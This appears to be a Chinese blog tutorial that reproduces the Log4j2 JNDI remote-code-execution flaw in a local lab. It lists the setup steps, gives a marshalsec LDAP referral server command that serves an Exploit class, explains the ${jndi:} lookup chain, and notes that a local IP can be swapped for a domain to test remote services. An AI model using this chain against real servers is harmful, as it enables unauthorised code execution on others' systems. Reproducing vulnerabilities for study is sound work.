Log4j2-JNDI漏洞復現

Apache Log4j 2.x <= 2.15.0

1、創建一個新的maven項目,並導入Log4j的依賴包,如圖:

2、創建測試類 LogTest

3、創建惡意腳本類 Exploit.java

4、將Exploit.java編譯成Exploit.class

5、下載marshalsec-0.0.3-SNAPSHOT-all.jar

6、將Exploit.class和marshalsec-0.0.3-SNAPSHOT-all.jar移動到同一目錄test文件夾下

5、進去test文件夾,執行以下命令,本地開啓一個LDAP服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8877

6、運行LogTest的main方法

7、如果彈出計算器,則漏洞復現成功,如圖

原理:log4j檢測到logMessage包含${jndi:xxx}後,就回通過JndiManager.lookup()->InitialContext.lookup()->serializer.toSerializable(),向ldap服務器請求class字節碼後,加載到jvm中,也就會造成上邊惡意代碼塊的執行

注:如若測試遠程服務,將本地ip:192.168.1.66換成域名即可

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章